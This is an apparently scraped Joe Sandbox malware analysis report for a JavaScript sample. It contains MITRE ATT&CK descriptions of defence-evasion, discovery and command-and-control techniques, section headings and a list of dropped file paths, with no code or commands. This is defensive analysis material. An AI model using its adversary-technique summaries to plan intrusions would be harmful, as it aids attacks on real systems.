
Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 47411761265155214.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c5112fdd-a8d5-4fa4-83ff-dc27603e6f32.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7092

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
47411761265155214.js